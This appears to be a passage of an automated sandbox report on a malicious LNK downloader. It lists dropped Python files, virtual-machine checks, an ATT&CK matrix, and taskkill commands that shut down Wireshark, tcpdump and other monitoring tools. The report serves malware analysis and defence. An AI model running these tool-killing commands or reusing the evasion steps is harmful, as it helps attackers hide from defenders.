Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM solarwinds.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM tcpdump.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM telerik.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM wireshark.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM winpcap.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior

Source: python310.dll.5.dr	Static PE information: section name: PyRuntim
Source: vcruntime140.dll.5.dr	Static PE information: section name: _RDATA
Source: libcrypto-1_1.dll.5.dr	Static PE information: section name: .00cfg
Source: libssl-1_1.dll.5.dr	Static PE information: section name: .00cfg
Source: winxpgui.pyd.5.dr	Static PE information: section name: _RDATA

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9BAC279C push ecx; retf	2_2_00007FFD9BAC286A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9BAC34F1 pushfd ; retf	2_2_00007FFD9BAC34F2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9BAC2664 push cs; retf	2_2_00007FFD9BAC2672
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9BAC00BD pushad ; iretd	2_2_00007FFD9BAC00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD9BAD2C25 pushad ; retf	5_2_00007FFD9BAD2C3A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD9BAD8258 push ebx; retn 5F4Bh	5_2_00007FFD9BAD826A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD9BAD00BD pushad ; iretd	5_2_00007FFD9BAD00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD9BBA6F20 push cs; iretd	5_2_00007FFD9BBA6F21
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD9BBA70EA push cs; iretd	5_2_00007FFD9BBA71AE

Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\cmd.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4260	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5612	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6269	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3446	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_overlapped.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32print.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32evtlog.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32file.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\odbc.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32ras.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Util\_strxor.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32wnet.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32lz.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_ssl.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_msi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_x25519.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_sqlite3.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32crypt.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32security.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_testmultiphase.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\mmapfile.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\perfmon.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_queue.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\timer.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_decimal.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32transaction.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32console.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_ctypes.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\isapi\PyISAPI_loader.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_MD5.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_BLAKE2b.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32inet.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_testconsole.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_keccak.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_socket.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32job.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Util\_cpuid_c.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_ctypes_test.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_elementtree.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_ghash_portable.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\unicodedata.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32net.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_ec_ws.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\select.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Protocol\_scrypt.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\pythonservice.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32gui.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32help.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32process.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\pyexpat.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_lzma.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\servicemanager.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\_win32sysloader.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\pywin32_system32\pythoncom310.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_bz2.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_testcapi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32api.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32trace.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_ed25519.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_BLAKE2s.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_SHA1.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_MD4.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_testinternalcapi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_testbuffer.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_SHA384.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_poly1305.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_testimportmultiple.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_asyncio.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Math\_modexp.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32clipboard.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32cred.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_zoneinfo.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\_winxptheme.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_RIPEMD160.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_SHA256.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_tkinter.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\winsound.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_multiprocessing.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_uuid.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\perfmondata.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_hashlib.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32event.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_MD2.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_ed448.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32ts.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32pipe.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32profile.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_SHA512.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_ghash_clmul.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32service.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32pdh.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_SHA224.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\winxpgui.pyd	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3716	Thread sleep count: 4260 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3716	Thread sleep count: 5612 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5348	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2084	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7152	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: powershell.exe, 00000002.00000002.1811614630.0000023C1C080000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllV
Source: powershell.exe, 00000002.00000002.1811614630.0000023C1C0A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: powershell.exe, 00000002.00000002.1811614630.0000023C1C035000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSIdRom&Ven_NECVMWar&Prod_VMware_
Source: powershell.exe, 00000002.00000002.1811614630.0000023C1C0D1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: powershell.exe, 00000005.00000002.2626366978.0000029AFEAA0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug

Source: Yara match	File source: amsi64_7072.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: cmd.exe PID: 1780, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7072, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\temp.bat, type: DROPPED

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	1 Spearphishing Link	1 Windows Management Instrumentation	11 Scripting	1 DLL Side-Loading	21 Disable or Modify Tools	1 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Data from Local System	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Obfuscated Files or Information	LSASS Memory	13 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	2 Registry Run Keys / Startup Folder	2 Registry Run Keys / Startup Folder	1 DLL Side-Loading	Security Account Manager	11 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Masquerading	NTDS	11 Process Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	21 Virtualization/Sandbox Evasion	LSA Secrets	21 Virtualization/Sandbox Evasion	SSH	Keylogging	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Process Injection	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Source	Detection	Scanner	Label	Link
interior-design-villa-a23.lnk	21%	ReversingLabs	Script-BAT.Downloader.Heuristic
interior-design-villa-a23.lnk	31%	Virustotal		Browse
interior-design-villa-a23.lnk	100%	Joe Sandbox ML

Source	Detection	Scanner
C:\Users\Public\Document\DLLs\_asyncio.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_bz2.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_ctypes.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_ctypes_test.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_decimal.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_elementtree.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_hashlib.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_lzma.pyd	0%	ReversingLabs
